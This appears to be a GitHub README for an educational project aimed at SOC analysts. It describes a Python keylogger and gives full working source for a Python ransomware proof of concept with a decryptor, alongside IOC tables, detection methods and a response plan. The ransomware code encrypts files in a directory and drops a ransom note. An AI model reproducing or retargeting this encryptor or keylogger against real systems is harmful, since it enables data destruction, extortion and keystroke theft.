diaa-eldeen2004/Malware-Analysis

GitHub: diaa-eldeen2004/Malware-Analysis

一个教育性质的恶意软件分析项目,通过键盘记录器和勒索软件的 PoC 代码及其对应的 IOC 检测方法,帮助 SOC 分析师理解威胁机制并提升检测与响应能力。

Stars: 0 | Forks: 0

# 🛡️ 恶意软件开发与分析 — 教育项目 ## 📋 目录 - [项目概述](#project-overview) - [阶段 1 — 键盘记录器](#stage-1--keylogger) - [阶段 2 — 勒索软件模拟](#stage-2--ransomware-simulation) - [实验室环境](#lab-environment) - [SOC 检测视角](#soc-detection-perspective) - [工具与依赖](#tools--dependencies) - [免责声明](#disclaimer) ## 项目概述 本项目从**攻击者到防御者**的视角探讨了两类恶意软件。其目的不在于造成破坏,而是为了深入理解恶意软件在代码层面的运作机制——从而作为 SOC 分析师,您能够识别其行为特征、编写更出色的检测规则,并更快速地做出响应。 | 阶段 | 类别 | 语言 | 关键技术 | 状态 | |-------|------------|----------|----------------------------|----------| | 1 | 键盘记录器 | Python 3 | OS 键盘 hook (pynput) | ✅ 已完成 | | 2 | 勒索软件 | Python 3 | AES-256 加密 (Fernet) | ✅ 已完成 | ## 阶段 1 — 键盘记录器 ### 功能简介 一个概念验证(PoC)版的 Python 键盘记录器,它可以: - 使用 `pynput` hook 到 OS 键盘事件流中 - 缓存击键记录并为其添加时间戳进行格式化 - 将隐藏的日志文件 (`.keylog`) 写入文件系统 - 通过计划任务线程,每 20 秒模拟一次 C2 数据外传报告 ### 架构 ``` OS Keyboard Event │ ▼ pynput Listener │ ▼ Buffer & Format ──► Timestamp + Special Key Mapping │ ▼ Write Hidden Log File (.keylog) │ ▼ Simulated C2 Report (every 20s) ``` ### 安装与运行 ``` # 1. 创建并激活 Python 虚拟环境(在 Kali 上必需) python3 -m venv venv source venv/bin/activate # 2. 安装依赖 pip install pynput # 3. 运行键盘记录器 python3 keylogger.py # 4. 使用 Ctrl+C 停止 — 查看日志 cat .keylog ``` ### IOCs (失陷标示) | 严重程度 | 标示 | 检测方法 | |----------|------------------------|-----------------------------------------------| | 高 | 异常的 python3 进程 | `ps aux \| grep python` — 未知的持久化 PID | | 高 | 隐藏的 `.keylog` 文件 | AIDE / Tripwire 文件完整性监控 | | 高 | 键盘 API hook | EDR 对底层 KB API 的行为检测 | | 中 | 存在 pynput 库 | `pip list \| grep pynput` 或 `/proc//maps` | | 中 | 周期性文件写入 | 针对隐藏文件的 `auditd` 或 `inotifywait` | | 高 | C2 信标通信 (真实) | SIEM/FW:定期向未知 IP 发送出站 HTTP 请求 | ## 阶段 2 — 勒索软件模拟 ### 功能简介 一个概念验证(PoC)版的 Python 勒索软件,它可以: - 生成随机的 **AES-256 (Fernet)** 对称加密密钥 - 遍历目标目录并加密符合特定扩展名的文件 - 为每个加密后的文件添加 `.encrypted` 后缀进行重命名 - 投递包含解密密钥的 `README_RANSOMWARE.txt` 勒索说明文件 - 将密钥保存到目标目录之外的 `key.txt` 文件中以便恢复 - 包含一个可完全恢复所有文件的**解密脚本** ### 架构 ``` Fernet.generate_key() │ ▼ Walk TARGET_DIR │ ▼ Filter by Extension (.txt, .sql, .cfg, .md, .csv, .log) │ ▼ Read File → Encrypt → Overwrite → Rename to .encrypted │ ▼ Drop README_RANSOMWARE.txt + Save key.txt ``` ### 安装与运行 ``` # 1. 更新系统并安装 Python + pip sudo apt update sudo apt install python3 python3-pip -y # 2. 安装 cryptography 库 pip3 install cryptography # 3. 创建受害者测试环境 mkdir -p /home/kali/Malware/test_files cat > /home/kali/Malware/test_files/document1.txt << 'TXT' This is a confidential document with sensitive data. TXT cat > /home/kali/Malware/test_files/credentials.txt << 'TXT' User credentials: admin / P@ssw0rd123 TXT cat > /home/kali/Malware/test_files/query.sql << 'TXT' SELECT * FROM users WHERE id = 1; TXT cat > /home/kali/Malware/test_files/notes.txt << 'TXT' Project plan for Q3 2025 TXT cat > /home/kali/Malware/test_files/config.txt << 'TXT' Backup configuration file TXT # 4. 验证初始状态 ls -la /home/kali/Malware/test_files/ cat /home/kali/Malware/test_files/document1.txt ``` ### ransomware.py ``` #!/usr/bin/env python3 """ Academic Ransomware Simulation - Proof of Concept For educational purposes only. Authorized lab use only. """ import os from cryptography.fernet import Fernet import platform from datetime import datetime TARGET_DIR = "/home/kali/Malware/test_files" RANSOM_NOTE = "README_RANSOMWARE.txt" TARGET_EXTENSIONS = ['.txt', '.sql', '.md', '.csv', '.log', '.conf', '.cfg'] SKIP_FILES = ['key.txt', 'README_RANSOMWARE.txt'] RANSOM_MESSAGE = """ === YOUR FILES HAVE BEEN ENCRYPTED === All your documents, databases, and important files have been encrypted with AES-256 encryption. Decryption Key: {key} Run the decryptor script with this key to restore your files. This is an academic simulation. No actual harm has been done. ========================================= """ def generate_key(): return Fernet.generate_key() def encrypt_file(filepath, cipher): try: with open(filepath, 'rb') as f: data = f.read() encrypted = cipher.encrypt(data) with open(filepath, 'wb') as f: f.write(encrypted) os.rename(filepath, filepath + '.encrypted') return True except Exception as e: print(f"[-] Failed: {filepath}: {e}") return False def drop_ransom_note(directory, key): note_path = os.path.join(directory, RANSOM_NOTE) with open(note_path, 'w') as f: f.write(RANSOM_MESSAGE.format(key=key.decode())) if __name__ == "__main__": print("=" * 50) print("RANSOMWARE SIMULATION - ACADEMIC POC") print("=" * 50) print(f"Target : {TARGET_DIR}") print(f"System : {platform.system()} {platform.release()}") print(f"Time : {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}") print("-" * 50) key = generate_key() cipher = Fernet(key) print(f"[+] Key generated: {key.decode()}") with open("key.txt", "wb") as f: f.write(key) count = 0 for root, _, files in os.walk(TARGET_DIR): for filename in files: if filename in SKIP_FILES: continue if os.path.splitext(filename)[1].lower() in TARGET_EXTENSIONS: path = os.path.join(root, filename) print(f"[+] Encrypting: {filename}") if encrypt_file(path, cipher): count += 1 drop_ransom_note(TARGET_DIR, key) print("-" * 50) print(f"[✓] Encrypted {count} files") print(f"[✓] Ransom note dropped") print("[!] Run decryptor.py to recover files.") print("=" * 50) ``` ### decryptor.py ``` #!/usr/bin/env python3 """ Academic Ransomware Decryptor - Proof of Concept For educational purposes only. """ import os from cryptography.fernet import Fernet TARGET_DIR = "/home/kali/Malware/test_files" def decrypt_file(filepath, cipher): try: with open(filepath, 'rb') as f: data = f.read() decrypted = cipher.decrypt(data) original = filepath.replace('.encrypted', '') with open(original, 'wb') as f: f.write(decrypted) os.remove(filepath) return True except Exception as e: print(f"[-] Failed: {filepath}: {e}") return False if __name__ == "__main__": print("=" * 50) print("RANSOMWARE DECRYPTOR - ACADEMIC POC") print("=" * 50) key_input = input("Enter the decryption key: ").strip() try: cipher = Fernet(key_input.encode()) except Exception as e: print(f"[-] Invalid key: {e}") exit(1) count = 0 for root, _, files in os.walk(TARGET_DIR): for filename in files: if filename.endswith('.encrypted'): path = os.path.join(root, filename) print(f"[+] Decrypting: {filename}") if decrypt_file(path, cipher): count += 1 note = os.path.join(TARGET_DIR, "README_RANSOMWARE.txt") if os.path.exists(note): os.remove(note) print("-" * 50) print(f"[✓] Decrypted {count} files") print("[✓] Files restored to original state.") print("=" * 50) ``` ### 运行演示 ``` cd /home/kali/Malware # 步骤 1 — 初始状态 echo "=== BEFORE ===" && ls -la test_files/ && cat test_files/document1.txt # 步骤 2 — 执行 ransomware python3 ransomware.py # 步骤 3 — 最终状态(已加密) echo "=== AFTER ENCRYPTION ===" && ls -la test_files/ cat test_files/README_RANSOMWARE.txt # 步骤 4 — 恢复 python3 decryptor.py # 出现提示时,粘贴来自 key.txt 的密钥 # 步骤 5 — 验证恢复 echo "=== AFTER RECOVERY ===" && ls -la test_files/ && cat test_files/document1.txt # 步骤 6 — 重置实验室以重新演示 rm -f test_files/*.encrypted test_files/README_RANSOMWARE.txt key.txt ``` ### IOCs (失陷标示) | 严重程度 | 标示 | 检测方法 | |----------|-------------------------|--------------------------------------------------------| | 高 | 大量 `.encrypted` 扩展名 | FIM / `inotifywait` — 数秒内发生数千次重命名操作 | | 高 | 投递勒索说明 | 针对 `README_RANSOMWARE.txt` 创建的 AIDE 告警 | | 高 | Python 加密 API 调用 | EDR 针对海量文件写入及 Fernet 使用的行为标记 | | 中 | 高频文件 I/O | `auditd` 系统调用日志 — 快速的打开/写入/重命名突发操作 | | 中 | CPU 占用飙升 | AES-256 加密会导致可测量的 CPU 峰值 | | 低 | `key.txt` 遗留物 | 取证遗留物 — 保存在目录外的对称密钥 | ### SOC 响应计划 ``` 1. ISOLATE — Disconnect host from network immediately 2. IDENTIFY — Determine patient zero and scope of encryption 3. CONTAIN — Kill python3 process; block further writes 4. ERADICATE — Remove ransomware scripts from filesystem 5. RECOVER — Restore from clean offline backup (3-2-1 rule) 6. LESSONS — Update FIM rules, EDR policies, SIEM correlation ``` ## 实验室环境 | 组件 | 详情 | |--------------|--------------------------------------| | 操作系统 | Kali Linux (VMware Workstation) | | 网络 | 仅主机 / 隔离环境(无互联网连接) | | 语言 | Python 3 | | 阶段 1 依赖 | `pynput` (通过 Python venv) | | 阶段 2 依赖 | `cryptography` (pip3) | | 目标文件 | 虚拟的 `.txt`, `.sql`, `.cfg` 文件 | | 快照 | 每次运行前拍摄的 VMware 快照 | ## SOC 检测视角 这两个阶段的设计都充分考虑了检测需求。每一个恶意软件行为都有对应的 SOC 控制措施: | 恶意软件行为 | SOC 检测手段 | 工具 | |-----------------------------|----------------------------------------|--------------------| | 键盘 hook | 底层 API 调用监控 | CrowdStrike / EDR | | 隐藏的日志文件写入 | 文件完整性监控 | AIDE / Tripwire | | 批量文件加密 | 突发性重命名检测 | SIEM 关联分析 | | 创建勒索说明 | 已知 IOC 文件名告警 | Splunk / QRadar | | C2 信标通信 (模拟) | 周期性出站流量异常 | 防火墙 / SIEM | | 对称密钥遗留物 | 取证文件发现 | IR 调查 | MITRE ATT&CK 映射: - **T1056.001** — 输入捕获:键盘记录 - **T1486** — 数据加密以造成影响 ## 工具与依赖 ``` # 阶段 1 python3 -m venv venv && source venv/bin/activate pip install pynput # 阶段 2 sudo apt install python3 python3-pip -y pip3 install cryptography ``` ## 免责声明 *Diaa El-deen | CyberGuard X | 2026 年 6 月*
标签:DAST, Python, 中高交互蜜罐, 勒索软件, 安全教育, 恶意软件分析, 恶意软件开发, 数据展示, 无后门, 红队, 键盘记录器